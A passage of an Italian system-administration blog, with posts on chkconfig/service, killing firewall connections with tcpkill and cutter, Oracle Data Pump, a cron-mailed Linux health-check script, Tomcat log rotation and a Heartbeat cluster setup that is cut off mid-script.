jump to navigation

How to use chkconfig and service utility in Red Hat and CentOS distributions Settembre 20, 2009

Posted by installatore in linux, script.
Tags: , , ,
add a comment

In tutte le release di CentOS nonchè di RedHat troviamo due utility per gestire l’avvio e il kill dei servizi nei vari runlevel,il primo è chkconfig che ci permette di rendere automatica e di facile standardizzazione l’installazione come servizi delle proprie applicazioni,mentre con service possiamo startare/stoppare e restartare qualunque applicazione senza dover mettere il path :D

Per esempio vediamo l’init script di un programma preinstallato come OpenSSH.

[root@rac2 init.d]# head -8 sshd
#!/bin/bash
#
# Init file for OpenSSH server daemon
#
# chkconfig: 2345 55 25
# description: OpenSSH server daemon
#

Come possiamo vedere qui sopra vi è una linea chkconfig ,che verrà letta dai comandi a lui correlati.Adesso vediamo cosa significano i numeri di quella riga.

 chkconfig: 2345 55 25
            |    |   |_Priorità nella fase di kill del programma (es. il link in /etc/rc.d/rc0.d sarà K25sshd)
            |    |_____Priorità di start del programma    (es. il link in /etc/rc.d/rc3.d sarà S55sshd
            |__________Enumero i runlevels su cui deve essere attivo il programma

Quindi una volta configurata questa riga nei nostri init script,la andiamo a copiare in /etc/init.d quindi daremo i seguenti comandi:
Aggiungo i link nei runlevel specificati…

chkconfig sshd --add

Abilito il programma…

chkconfig sshd on

Quindi effettuo un listing per vedere se tutto ha funzionato correttamente…

chkconfig sshd --list

L’output sarà qualcosa del tipo…

[root@rac2 /]# chkconfig sshd --list
sshd            0:off   1:off   2:on    3:on    4:on    5:on    6:off

Adesso che tutto è configurato possiamo far partire il programma in questo modo…

[root@rac2 /]# service sshd start

Piuttosto che fare…

[root@rac2 rc2.d]# /etc/rc.d/init.d/sshd start

E per avere lo status di tutti i nostri servizi /programmi basterà lanciare…

[root@rac2 /]# service --status-all
apmd (pid 682) is running...
arpwatch is stopped
atd (pid 1151) is running...
cannaserver (pid 985) is running...
crond (pid 1003) is running...
cserver (pid 966) is running...
jserver (pid 946) is running...
gpm is stopped
identd is stopped
ipchains: Incompatible with this kernel
No status available for this package
kserver (pid 1023) is running...
lpd is stopped

Linux Firewall How to abort (cut) specific connections Settembre 13, 2009

Posted by installatore in linux, networking, script, security.
Tags: , , , , , ,
add a comment

Alcune volte capita gestendo Firewall basati su distribuzioni Linux di dover killare eventuali connessioni superfluee,o non autorizzate o più semplicemente terminare vpn lasciate aperte dagli impiegati piuttosto che terminare connessioni con alti consumi di banda nonchè peer-to-peer.Per fare ciò non possiamo affidarci al solito comando netstat dovremmo imparare a utilizzare altri due comandi disponibili in linux.

Il primo comando disponibile è il comando tcpkill.

La sintassi del comando è:

tcpkill -i eth0 { expression }

Per esempio per poter killare tutte le connessioni in uscita sulla porta 21 (ftp) potremmo usare il comando nella seguente maniera.

tcpkill -i eth0 port 21

Oppure bloccare completamente tutte le connessioni da e per un determinato host.

tcpkill host 192.168.0.123

Altrimenti bloccare tutti i pacchetti tra un determinato host e tutti gli altri pc in rete ad esclusione del nostro.

tcpkill ip host 192.168.0.123 and not 192.168.0.15

Il secondo è cutter.

Per esempio se volessimo terminare tutte le connessioni da un’host al resto del mondo.

cutter 192.168.0.123

Se invece ci interessa terminare solo le connessioni ssh.

cutter 192.168.0.123 22

Se vogliamo essere più specifici e bloccare tutte le connessioni ssh dal 192.168.0.123 al server remoto 123.123.123.123 la sintassi sarà la seguente.

cutter 123.123.123.123 192.168.0.123 22

Direi che questi 2 utilissimi comandi se usati in aggiunta ad iptraf o ad altri programmi di monitoring come ntop permettono anche l’automazione di eventuali operazioni ripetitive come la disconnessione do tutte le vpn alla fine del turno di lavoro.

Oracle Datapump Settembre 3, 2009

Posted by installatore in Oracle, Varie, script.
Tags: , , , , , , ,
add a comment

Nelle ultime versioni di Oracle Database (10 e 11) è stata introdotta una nuova funzione chiamata datapump.Questo va ad affiancare i vecchi comandi exp e imp,introducendo i comanid expdp e impdp.Con questa funzione gli import e gli export non sono più delle comnuni sessioni client-server tra il nostro client oracle e il db (con tutte le limitazioni del caso),ma sono dei processi lanciati direttamente sul server (si potrà fare export e import solo su file e directory presenti sul server),questo è un vantaggio perchè oracle può amministrare le risorse da destinare a questi processi anche in base al carico di lavoro del db (finalmente non faremo sedere il db a ogni export :D ).Vengono introdotte anche nuove funzioni che rendono più semplice la vita del dba (per esempio la possibilità di escludere/includere solo determinate tabelle nel processo di importazione/esportazione,e nel caso della versione enterprise si può specificare il grado di parallelismo che i processi possono raggiungere,quindi impostandolo per esempio a 4 avremo un export completato in 1/4 del tempo).

Cominciamo con dare gli opportuni grant all’utente che utilizzeremo per queste operazioni.

CONN sys/password@rac10g AS SYSDBA
ALTER USER fede IDENTIFIED BY 1234 ACCOUNT UNLOCK;
GRANT CREATE ANY DIRECTORY TO fede;

A questo punto creo una directory in Oracle che punti a una directory sul mio filesystem dando relativi grants al mio utente.

CREATE OR REPLACE DIRECTORY DP_DIR AS ‘/u01/app/oracle/orabck/’;
GRANT READ, WRITE ON DIRECTORY DP_DIR TO fede;

Adesso possiamo cominciare con l’import o export di alcune tabelle,tramite il parametro TABLE,se volessimo andare a importare dei dati su una tabella già esistente dovremmo inserire anche il parametro TABLE_EXISTS_ACTION=APPEND

expdp fede/1234@rac10g  tables=ANAGRAFICA,CREDITI directory=DP_DIR dumpfile=ANAG_CRED.dmp logfile=expdpANAG_CRED.log
impdp fede/1234@rac10g  tables=ANAGRAFICA,CREDITI directory=DP_DIR dumpfile=ANAG_CRED.dmp logfile=impdpANAG_CRED.log

Se invece vogliamo importare o esportare un intero schema non utilizzeremo più i parametri FROMUSER,TOUSER oppure OWNER,ma direttamente il parametro SCHEMAS.

expdp fede/1234@rac10g schemas=CRED10G directory=DP_DIR dumpfile=CRED10G.dmp logfile=expdpCRED10G.log
impdp fede/1234@rac10g schemas=CRED10G directory=DP_DIR dumpfile=CRED10G.dmp logfile=impdpCRED10G.log

Per quanto riguarda l’import o l’export di un intero database rimane il parametro FULL=Y .

expdp fede/1234@rac10g full=y directory=DP_DIR dumpfile=CRED10G.dmp logfile=expdpCRED10G.log
impdp fede/1234@rac10g full=y directory=DP_DIR dumpfile=CRED10G.dmp logfile=impdpCRED10G.log

Tutte le operazioni di import ed export sono eseguite da dei processi sul server che fanno capo a un processo padre che li gestisce (queueing e via dicendo).Infatti se per esempio una volta lanciati uno dei comandi sopra indicati si stoppa il comando con ctrl + c,viene terminata solo la sessione con l’utente e veniamo dirottati su una console da cui per esempio possiamo lanciare il comando “status” che avrà il seguente output:

Export> status

Job: SYS_EXPORT_FULL_01
Operation: EXPORT
Mode: FULL
State: EXECUTING
Bytes Processed: 0
Current Parallelism: 1
Job Error Count: 0
Dump File: D:TEMPDB10G.DMP
bytes written: 4,096

Worker 1 Status:
State: EXECUTING
Object Schema: SYSMAN
Object Name: MGMT_CONTAINER_CRED_ARRAY
Object Type: DATABASE_EXPORT/SCHEMA/TYPE/TYPE_SPEC
Completed Objects: 261
Total Objects: 261

Come scritto prima possiamo impostare il grado di parallelismo con cui lanciare lìexport o l’import attraverso il parametro PARALLEL e l’utilizzo della wildcard %U in modo tale che più file di export possano essere creati contemporaneamente.

expdp fede/1234@rac10g schemas=CRED10G PARALLEL=4 directory=DP_DIR dumpfile=CRED10G%U.dmp logfile=expdpCRED10G.log

La vista DBA_DATAPUMP_JOBS può essere controllata per verificare lo stato dei jobs lanciati sul server.

system@rac10g> select * from dba_datapump_jobs;

OWNER_NAME JOB_NAME OPERATION
—————————— —————————— ——————————
JOB_MODE STATE DEGREE ATTACHED_SESSIONS
—————————— —————————— ———- —————–
SYSTEM SYS_EXPORT_FULL_01 EXPORT
FULL EXECUTING 1 1

Possono anche essere utilizzati i parametri EXCLUDE e INCLUDE per filtrare gli oggetti da processare.

expdp fede/1234@rac10g schemas=CRED10G include=TABLE:”IN (‘ANAGRAFICA’, ‘CREDITI’)” directory=DP_DIR dumpfile=CRED10G.dmp logfile=expdpCRED10G.log
impdp fede/1234@rac10g schemas=CRED10G exclude=TABLE:”= ‘CREDITI’” directory=DP_DIR dumpfile=CRED10G.dmp logfile=impdpCRED10G.log

Nel caso dopo aver lanciato expdp abbiamo chiuso la finestra e vogliamo ritornarci per controllare lo stato,possiamo come prima cosa interrogare la vista DBA_DATAPUMP_JOBS,da li ricavarci il JOB_NAME e quindi eseguire il seguente comando.

expdp system/***** attach=SYS_EXPORT_FULL_01
Export: Release 10.1.0.4.0 – 64bit Production on Tuesday, 20 March, 2007 23:53
Copyright (c) 2003, Oracle. All rights reserved.
Connected to: Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 – 64bit Production
With the Partitioning, Real Application Clusters, OLAP and Data Mining options
Job: SYS_EXPORT_TABLE_03
Owner: SYSTEM
Operation: EXPORT
Creator Privs: FALSE
GUID: 2C22B38216C04297E044000E7FEDD1FD
Start Time: Tuesday, 20 March, 2007 23:53
Mode: TABLE
Instance: *****
Max Parallelism: 4
EXPORT Job Parameters:
Parameter Name Parameter Value:
CLIENT_COMMAND system/******** parfile=/backup/****/PARFILES/userdata_tablename.dat
DATA_ACCESS_METHOD AUTOMATIC
ESTIMATE BLOCKS
INCLUDE_METADATA 1
LOG_FILE_DIRECTORY DATA_PUMP_DIR2
LOG_FILE_NAME expdp_tablename_20032007.log
TABLE_CONSISTENCY 0
State: IDLING
Bytes Processed: 0
Current Parallelism: 4
Job Error Count: 0
Dump File: /backup/****/expdp_tablename_20032007.dmp
bytes written: 180,224
Worker 1 Status:
State: UNDEFINED
Worker 2 Status:
State: UNDEFINED
Object Schema: *****
Object Name: *****
Object Type: TABLE_EXPORT/TABLE/TBL_TABLE_DATA/TABLE/TABLE_DATA
Completed Objects: 1
Total Objects: 1
Worker 3 Status:
State: UNDEFINED
Worker 4 Status:
State: UNDEFINED

Per avere maggiori informazioni su datapump consiglio di guardare l’help sia dei comandi impdp che di expdp.

expdp help=y

Export: Release 10.1.0.2.0 – Production on Tuesday, 23 March, 2004 8:33

Copyright (c) 2003, Oracle. All rights reserved.

The Data Pump export utility provides a mechanism for transferring data objects
between Oracle databases. The utility is invoked with the following command:

Example: expdp scott/tiger DIRECTORY=dmpdir DUMPFILE=scott.dmp

You can control how Export runs by entering the ‘expdp’ command followed
by various parameters. To specify parameters, you use keywords:

Format: expdp KEYWORD=value or KEYWORD=(value1,value2,…,valueN)
Example: expdp scott/tiger DUMPFILE=scott.dmp DIRECTORY=dmpdir SCHEMAS=scott
or TABLES=(T1:P1,T1:P2), if T1 is partitioned table

USERID must be the first parameter on the command line.

Keyword Description (Default)
——————————————————————————
ATTACH Attach to existing job, e.g. ATTACH [=job name].
CONTENT Specifies data to unload where the valid keywords are:
(ALL), DATA_ONLY, and METADATA_ONLY.
DIRECTORY Directory object to be used for dumpfiles and logfiles.
DUMPFILE List of destination dump files (expdat.dmp),
e.g. DUMPFILE=scott1.dmp, scott2.dmp, dmpdir:scott3.dmp.
ESTIMATE Calculate job estimates where the valid keywords are:
(BLOCKS) and STATISTICS.
ESTIMATE_ONLY Calculate job estimates without performing the export.
EXCLUDE Exclude specific object types, e.g. EXCLUDE=TABLE:EMP.
FILESIZE Specify the size of each dumpfile in units of bytes.
FLASHBACK_SCN SCN used to set session snapshot back to.
FLASHBACK_TIME Time used to get the SCN closest to the specified time.
FULL Export entire database (N).
HELP Display Help messages (N).
INCLUDE Include specific object types, e.g. INCLUDE=TABLE_DATA.
JOB_NAME Name of export job to create.
LOGFILE Log file name (export.log).
NETWORK_LINK Name of remote database link to the source system.
NOLOGFILE Do not write logfile (N).
PARALLEL Change the number of active workers for current job.
PARFILE Specify parameter file.
QUERY Predicate clause used to export a subset of a table.
SCHEMAS List of schemas to export (login schema).
STATUS Frequency (secs) job status is to be monitored where
the default (0) will show new status when available.
TABLES Identifies a list of tables to export – one schema only.
TABLESPACES Identifies a list of tablespaces to export.
TRANSPORT_FULL_CHECK Verify storage segments of all tables (N).
TRANSPORT_TABLESPACES List of tablespaces from which metadata will be unloaded.
VERSION Version of objects to export where valid keywords are:
(COMPATIBLE), LATEST, or any valid database version.

The following commands are valid while in interactive mode.
Note: abbreviations are allowed

Command Description
——————————————————————————
ADD_FILE Add dumpfile to dumpfile set.
ADD_FILE=dumpfile-name
CONTINUE_CLIENT Return to logging mode. Job will be re-started if idle.
EXIT_CLIENT Quit client session and leave job running.
HELP Summarize interactive commands.
KILL_JOB Detach and delete job.
PARALLEL Change the number of active workers for current job.
PARALLEL=.
START_JOB Start/resume current job.
STATUS Frequency (secs) job status is to be monitored where
the default (0) will show new status when available.
STATUS=[interval]
STOP_JOB Orderly shutdown of job execution and exits the client.
STOP_JOB=IMMEDIATE performs an immediate shutdown of the
Data Pump job.

impdp help=y

Import: Release 10.1.0.2.0 – Production on Saturday, 11 September, 2004 17:22

Copyright (c) 2003, Oracle. All rights reserved.

The Data Pump Import utility provides a mechanism for transferring data objects
between Oracle databases. The utility is invoked with the following command:

Example: impdp scott/tiger DIRECTORY=dmpdir DUMPFILE=scott.dmp

You can control how Import runs by entering the ‘impdp’ command followed
by various parameters. To specify parameters, you use keywords:

Format: impdp KEYWORD=value or KEYWORD=(value1,value2,…,valueN)
Example: impdp scott/tiger DIRECTORY=dmpdir DUMPFILE=scott.dmp

USERID must be the first parameter on the command line.

Keyword Description (Default)
——————————————————————————
ATTACH Attach to existing job, e.g. ATTACH [=job name].
CONTENT Specifies data to load where the valid keywords are:
(ALL), DATA_ONLY, and METADATA_ONLY.
DIRECTORY Directory object to be used for dump, log, and sql files.
DUMPFILE List of dumpfiles to import from (expdat.dmp),
e.g. DUMPFILE=scott1.dmp, scott2.dmp, dmpdir:scott3.dmp.
ESTIMATE Calculate job estimates where the valid keywords are:
(BLOCKS) and STATISTICS.
EXCLUDE Exclude specific object types, e.g. EXCLUDE=TABLE:EMP.
FLASHBACK_SCN SCN used to set session snapshot back to.
FLASHBACK_TIME Time used to get the SCN closest to the specified time.
FULL Import everything from source (Y).
HELP Display help messages (N).
INCLUDE Include specific object types, e.g. INCLUDE=TABLE_DATA.
JOB_NAME Name of import job to create.
LOGFILE Log file name (import.log).
NETWORK_LINK Name of remote database link to the source system.
NOLOGFILE Do not write logfile.
PARALLEL Change the number of active workers for current job.
PARFILE Specify parameter file.
QUERY Predicate clause used to import a subset of a table.
REMAP_DATAFILE Redefine datafile references in all DDL statements.
REMAP_SCHEMA Objects from one schema are loaded into another schema.
REMAP_TABLESPACE Tablespace object are remapped to another tablespace.
REUSE_DATAFILES Tablespace will be initialized if it already exists (N).
SCHEMAS List of schemas to import.
SKIP_UNUSABLE_INDEXES Skip indexes that were set to the Index Unusable state.
SQLFILE Write all the SQL DDL to a specified file.
STATUS Frequency (secs) job status is to be monitored where
the default (0) will show new status when available.
STREAMS_CONFIGURATION Enable the loading of Streams metadata
TABLE_EXISTS_ACTION Action to take if imported object already exists.
Valid keywords: (SKIP), APPEND, REPLACE and TRUNCATE.
TABLES Identifies a list of tables to import.
TABLESPACES Identifies a list of tablespaces to import.
TRANSFORM Metadata transform to apply (Y/N) to specific objects.
Valid transform keywords: SEGMENT_ATTRIBUTES and STORAGE.
ex. TRANSFORM=SEGMENT_ATTRIBUTES:N:TABLE.
TRANSPORT_DATAFILES List of datafiles to be imported by transportable mode.
TRANSPORT_FULL_CHECK Verify storage segments of all tables (N).
TRANSPORT_TABLESPACES List of tablespaces from which metadata will be loaded.
Only valid in NETWORK_LINK mode import operations.
VERSION Version of objects to export where valid keywords are:
(COMPATIBLE), LATEST, or any valid database version.
Only valid for NETWORK_LINK and SQLFILE.

The following commands are valid while in interactive mode.
Note: abbreviations are allowed

Command Description (Default)
——————————————————————————
CONTINUE_CLIENT Return to logging mode. Job will be re-started if idle.
EXIT_CLIENT Quit client session and leave job running.
HELP Summarize interactive commands.
KILL_JOB Detach and delete job.
PARALLEL Change the number of active workers for current job.
PARALLEL=.
START_JOB Start/resume current job.
START_JOB=SKIP_CURRENT will start the job after skipping
any action which was in progress when job was stopped.
STATUS Frequency (secs) job status is to be monitored where
the default (0) will show new status when available.
STATUS=[interval]
STOP_JOB Orderly shutdown of job execution and exits the client.
STOP_JOB=IMMEDIATE performs an immediate shutdown of the
Data Pump job.

Linux Monitor / Healthcheck script Settembre 3, 2009

Posted by installatore in Varie, linux, networking, script, solaris.
Tags: , , , , , ,
add a comment

In questo articolo,descrivo come tramite l’uso dei comandi della shell di linux possiamo crearci uno script da schedulare successivamente con cron,per monitorare lo stato di salute dei nostri server.La funzionalità dello script è molto semplice ,sicuramente può essere migliorato.

Come prima cosa partirei controllando che il/i filesystem del nostro server non siano pieni .

[root@rac2 ~]# df -h

Filesystem            Size  Used Avail Use% Mounted on

/dev/mapper/VolGroup00-LogVol00

14G   13G  775M  95% /

/dev/sda1              99M   19M   76M  20% /boot

tmpfs                 502M  300M  202M  60% /dev/shm

Controlliamo inoltre gli ultimi login effettuati sulla macchina,come si dice….la prudenza non è mai troppa…
[root@rac2 ~]# last | head -20
root     pts/3        192.168.0.8      Tue Aug 18 09:20   still logged in
oracle   pts/3        :0.0             Tue Aug 18 09:17 – 09:20  (00:02)
oracle   pts/3        :0.0             Tue Aug 18 08:19 – 09:16  (00:56)
oracle   pts/2        :0.0             Tue Aug 18 07:08   still logged in
oracle   :0                            Tue Aug 18 07:08   still logged in
oracle   :0                            Tue Aug 18 07:08 – 07:08  (00:00)
root     pts/1        openfiler1       Tue Aug 18 07:04   still logged in
reboot   system boot  2.6.18-128.4.1.e Tue Aug 18 06:57          (02:25)
root     pts/1        :0.0             Tue Aug 18 06:44 – down   (00:11)
root     pts/2        openfiler1       Tue Aug 18 06:22 – down   (00:32)
root     pts/1        :0.0             Tue Aug 18 06:15 – 06:43  (00:28)
root     :0                            Tue Aug 18 06:14 – down   (00:40)
root     :0                            Tue Aug 18 06:14 – 06:14  (00:00)
reboot   system boot  2.6.18-128.4.1.e Tue Aug 18 06:10          (00:45)
root     pts/1        :0.0             Tue Aug 18 05:49 – down   (00:19)
root     pts/1        :0.0             Tue Aug 18 05:47 – 05:48  (00:00)
root     pts/1        :0.0             Sun Aug 16 16:36 – 05:46 (1+13:10)
root     pts/2        :0.0             Sun Aug 16 16:26 – down  (1+13:41)
root     pts/1        :0.0             Sun Aug 16 16:24 – 16:36  (00:12)
root     :0                            Sun Aug 16 16:23 – down  (1+13:45)
Un’altra cosa da controllare soprattutto sui sistemi esposti su internet,è la grandezza della cartella temporanea e relativi file,molto spesso al suo interno si annidano rootkit o altri malware.Nel mio caso la cartella temporanea era /tmp
[root@rac2 ~]# du -h /tmp
8.0K    /tmp/gconfd-root
4.0K    /tmp/keyring-JuVYH2
4.0K    /tmp/.oracle
16K    /tmp
Controlliamo anche lo stato dell’hardware della scheda madre andando a fare un grep su tutte le voci che contegono state o status.
[root@rac2 ~]# dmidecode |grep -B 2 Stat
Serial Number: …..
Asset Tag:
Boot-up State: Safe
Power Supply State: Safe
Thermal State: Safe
Security Status: None
Max Speed: 5200 MHz
Current Speed: 2400 MHz
Status: Populated, Enabled
On Board Device Information
Type: Ethernet
Status: Enabled
On Board Device Information
Type: Sound
Status: Enabled
On Board Device Information
Type: Other
Status: Enabled
Access Method: Memory-mapped physical 32-bit address
Access Address: 0xFFF81000
Status: Valid, Not Full
Handle 0×1800, DMI type 24, 5 bytes.
Hardware Security
Power-On Password Status: Enabled
Keyboard Password Status: Not Implemented
Administrator Password Status: Enabled
Front Panel Reset Status: Not Implemented
Cooling Device
Type: Fan
Status: OK
Cooling Device
Type: Fan
Status: OK
Cooling Device
Type: Fan
Status: OK
Handle 0×2000, DMI type 32, 11 bytes.
System Boot Information
Status: No errors detected
A questo punto diamo un’occhiata allo stato dei pacchetti droppati e agli errori di trasmissione e ricezione sulle interfacce di rete.In linea di massima questi valori non dovrebbero crescere in maniera esorbitante nell’arco della giornata.
[root@rac2 ~]# ifconfig
eth4      Link encap:Ethernet  HWaddr 00:0C:29:2D:6F:3E
inet addr:192.168.0.102  Bcast:192.168.0.255  Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe2d:6f3e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:2814028 errors:0 dropped:0 overruns:0 frame:0
TX packets:383162 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2263618394 (2.1 GiB)  TX bytes: 372588412946 (347 GiB)
Base address:0×2000 Memory:d8940000-d8960000
Oltre al comando ifconfig per controllare la parte “fisica” del collegamento in rete possiamo usare ethtool.
[root@rac2 ~]# ethtool eth0
Settings for eth0:
Supported ports: [ TP ]
Supported link modes:   10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Full
Supports auto-negotiation: Yes
Advertised link modes:  10baseT/Half 10baseT/Full
100baseT/Half 100baseT/Full
1000baseT/Full
Advertised auto-negotiation: Yes
Speed: 1000Mb/s
Duplex: Full
Port: Twisted Pair
PHYAD: 0
Transceiver: internal
Auto-negotiation: on
Supports Wake-on: d
Wake-on: d
Current message level: 0×00000007 (7)
Link detected: yes
Tramite lm_sensors possiamo ottenere i valori di elettricità e di temperatura di alcuni componenti della scheda madre della nostra macchina,quindi se non lo avete già fatto bisogna installare lm_sensors e lanciare il comando sensors-detect e seguire la procedura guidata per la prima configurazione.
[root@rac2]# sensors
lm85b-i2c-0-2e
Adapter: SMBus I801 adapter at c400
V1.5: +1.47 V (min = +1.42 V, max = +1.58 V)
VCore: +1.49 V (min = +1.45 V, max = +1.60 V)
V3.3: +3.33 V (min = +3.13 V, max = +3.47 V)
V5: +5.03 V (min = +4.74 V, max = +5.26 V)
V12: +12.25 V (min = +11.38 V, max = +12.62 V)
CPU_Fan: 2386 RPM (min = 4000 RPM) ALARM
fan2: 0 RPM (min = 0 RPM)
fan3: 0 RPM (min = 0 RPM)
fan4: 300 RPM (min = 0 RPM)
CPU: +29°C (low = +10°C, high = +50°C)
Board: +29°C (low = +10°C, high = +35°C)
Remote: +28°C (low = +10°C, high = +35°C)
CPU_PWM: 255
Fan2_PWM: 255
Fan3_PWM: 77
vid: +1.525 V (VRM Version 9.0)
Bisogna inoltre controllare eventuali errori hardware ai dischi tramite dmesg,in dmesg trovate anche altri errori relativi alle periferiche,qui di seguito lo utilizzo con un grep per i dischi,ovviamente potete personalizzare il grep a vostra discrezione.
[root@rac2 ~]# dmesg | grep sda
SCSI device sda: 33554432 512-byte hdwr sectors (17180 MB)
sda: Write Protect is off
sda: Mode Sense: 5d 00 00 00
sda: cache data unavailable
sda: assuming drive cache: write through
SCSI device sda: 33554432 512-byte hdwr sectors (17180 MB)
sda: Write Protect is off
sda: Mode Sense: 5d 00 00 00
sda: cache data unavailable
sda: assuming drive cache: write through
sda: sda1 sda2
sd 0:0:0:0: Attached scsi disk sda
EXT3 FS on sda1, internal journal
Quindi controlliamo il numero di processi “zombie” e quale tra i processi sta consumando più ram e cpu giusto per vedere che non ci siano problemi (il numero dei processi zombie non deve mai essere troppo alto).
[root@rac2]# top -bn 2 >> /tmp/top.txt
top – 09:52:46 up  130 days,  5 users,  load average: 0.13, 0.21, 0.27
Tasks: 159 total,   3 running, 156 sleeping,   0 stopped,   0 zombie
Cpu(s):  0.0%us,  1.0%sy,  0.0%ni, 95.0%id,  3.6%wa,  0.0%hi,  0.3%si,  0.0%st
Mem:   1027004k total,   936852k used,    90152k free,    20292k buffers
Swap:  2064376k total,    71652k used,  1992724k free,   681484k cached
PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
1314 root      15   0 12740 1108  804 R  1.0  0.1   0:00.16 top
1274 root      15   0 88948 3328 2588 R  0.3  0.3   0:00.27 sshd
1 root      15   0 10344  508  476 S  0.0  0.0   0:01.22 init
2 root      RT  -5     0    0    0 S  0.0  0.0   0:00.00 migration/0
3 root      34  19     0    0    0 S  0.0  0.0   0:00.05 ksoftirqd/0
4 root      RT  -5     0    0    0 S  0.0  0.0   0:00.00 watchdog/0
5 root      10  -5     0    0    0 S  0.0  0.0   0:05.58 events/0
6 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 khelper
15 root      10  -5     0    0    0 S  0.0  0.0   0:00.01 kthread
19 root      10  -5     0    0    0 S  0.0  0.0   0:08.29 kblockd/0
20 root      20  -5     0    0    0 S  0.0  0.0   0:00.00 kacpid
205 root      15  -5     0    0    0 S  0.0  0.0   0:00.00 cqueue/0
208 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 khubd
A questo punto spiegati tutti i singoli comandi possiamo crearci uno script da lanciare tutti i giorni tramite cron,in modo tale che ci invii anche una mail con il resoconto di tutti i comandi.
#!/bin/sh
# monitor script linux v1
uname -a > /tmp/mhc.txt
echo “—————————-”>>/tmp/mhc.txt
df -h >> /tmp/mhc.txt
last |head -10 >> /tmp/mhc.txt
echo “—————————-”>>/tmp/mhc.txt
du -h /tmp >> /tmp/mhc.txt
echo “—————————-”>>/tmp/mhc.txt
ethtool eth0 >> /tmp/mhc.txt
echo “—————————-”>>/tmp/mhc.txt
ifconfig eth0 >> /tmp/mhc.txt
echo “—————————-”>>/tmp/mhc.txt
dmidecode |grep -B 2 Stat >> /tmp/mhc.txt
echo “—————————-”>>/tmp/mhc.txt
sensors >> /tmp/mhc.txt
echo “—————————-”>>/tmp/mhc.txt
top -bn 2 >> /tmp/mhc.txt
echo “—————————-”>>/tmp/mhc.txt
smartctl -d ata -iH /dev/sda >> /tmp/mhc.txt
smartctl -d ata -iH /dev/sdb >> /tmp/mhc.txt
echo “—————————-”>>/tmp/mhc.txt
dmesg |grep sda >> /tmp/mhc.txt
dmesg |grep sdb >> /tmp/mhc.txt
echo “—————————-”>>/tmp/mhc.txt
cat /tmp/mhc.txt |mail -s server-health-check your@email.com
[root@rac2 ~]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/VolGroup00-LogVol00
14G   13G  775M  95% /
/dev/sda1              99M   19M   76M  20% /boot
tmpfs                 502M  300M  202M  60% /de

Log Rotation For Tomcat under Solaris 10 Aprile 26, 2009

Posted by installatore in Varie, script, solaris.
Tags: , , , ,
add a comment

Penso che almeno una volta tutti quelli che utilizzano Tomcat,si sono trovati davanti a file di log (catalina.out in primis) talmente grandi da non poter nemmeno essere aperti.Così mi sono creato questo breve scriptino che lanciato da crond una volta al giorno mi effettua la rotazione dei log e mi cancella quelli più vecchi di 3 giorni.

#!/bin/sh

logadm /opt/apache-tomcat-6.0.18/logs/cc.log -C 15 -c -p now -t ‘/opt/apache-tomcat-6.0.18/logs/CC_OK.%Y-%m-%d-%H-%M’

logadm /opt/apache-tomcat-6.0.18/logs/catalina.out -C 15 -c -p now -t ‘/opt/apache-tomcat-6.0.18/logs/CATALINA_OK.%Y-%m-%d-%H-%M’

find /opt/apache-tomcat-6.0.18/logs -mtime +3 -exec rm -f {} \;

Ho configurato successivamente lo scriptino nella crontab di root  e riavviato il servizio con

svcadm restart crond

 

Active/Active cluster with Heartbeat + Mon for a Server Application Aprile 26, 2009

Posted by installatore in linux, networking, script.
Tags: , , ,
add a comment

In questo articolo spiegherò brevemente come poter creare un cluster a 2 nodi Active/Active per un applicazione server attraverso anche l’uso di un record DNS Round Robyn,che andrà a smistare il traffico.

Per questa configurazione ho scelto di avere 2 indirizzi Ip virtuali (a cui punterà il round robyn) che potranno effettuare il failover su entrambi i nodi del nostro cluster.Per creare i 2 ip virtuali e lanciare mon, utilizzeremo heartbeat http://www.linux-ha.org/ .

Per gestire le risorse clusterizzate utilizzeremo mon http://mon.wiki.kernel.org/ .Mon avrà il compito di monitorare i nostri 2 nodi e tramite lo script tcp.monitor monitorare la porta che la nostra applicazione terrà aperta in ascolto.

Prima di tutto andiamo a configurare il file /etc/hosts inserendo i nomi host dei nostri server su entrambi i nodi.

10.0.0.2 nodoclu1                                                                                                                                                                                           

10.0.0.3 nodoclu2

Quindi procediamo con l’installazione di heartbeat e di mon,tramite i sorgenti o i packages scaricati dai relativi siti.Ipotizzerò che le cartelle di installazione per i 2 programmi siano /etc/ha.d (per heartbeat) e /etc/mon (per mon).

Cominciamo con il configurare su entrambi i nodi il file /etc/ha.d/ha.cf nel seguente modo:

# Logging 

debug 0

debugfile /var/log/ha-debug

use_logd  false

logfacility  daemon

logfile /var/log/ha-log

 

# Misc Options

traditional_compression off

compression bz2

coredumps true

 

# Communications (scelgo su quali interfacce e su che porta configurare le comunicazioni interne tra i due nodi)

udpport 691

bcast eth0

bcast eth1

 # Thresholds (in seconds)

keepalive 1

warntime 6

initdead 5   #(un nodo viene indicato come failed dopo 5 secondi)

 

deadtime 9 #(un nodo viene indicato come morto dopo 9 secondi)

ping 10.0.0.1      #(per verificare che la rete pubblica sia sù pingo il mio gateway)

node  nodoclu1,nodoclu2    #(i nodi che appartengono al cluster)

auto_failback off               #(gestisco il fail back delle risorse con mon,quindi questo lo lascio a off)

respawn hacluster /usr/lib64/heartbeat/ipfail     #(indica il programma che controlla le interfacce di rete)

In questo file abbiamo quindi specificato i parametri di partenza per heartbeat,non ci resta che andare ad editare anche il file /etc/ha.d/haresources per poter configurare le risorse che vogliamo clusterizzare.

nodoclu1 10.0.0.10 mon_script

nodoclu2 10.0.0.20

Abbiamo quindi specificato che sul nodoclu1 sarà presente l’ip virtuale 10.0.0.10 e la risorsa mon_script ,che sarebbe lo script di avvio di mon,che dovrà essere inserito in /etc/ha.d/resource.d .Mentre per il nodoclu2 girerà solamente un altro ip virtuale.Ovviamente entrambi i nodi possono ospitare tutte le risorse qui descritte (2 ip virtuali + mon).Qui di seguito lo script mon_script….

 

#!/bin/sh

#

# start/stop the mon server

#

# processname: mon

# config: /etc/mon/mon.cf

# pidfile: /var/run/mon.pid

#

PATH=/bin:/usr/bin:/sbin:/usr/sbin

export PATH

# Source function library.

. /etc/rc.d/init.d/functions

# See how we were called.

case “$1″ in

start)

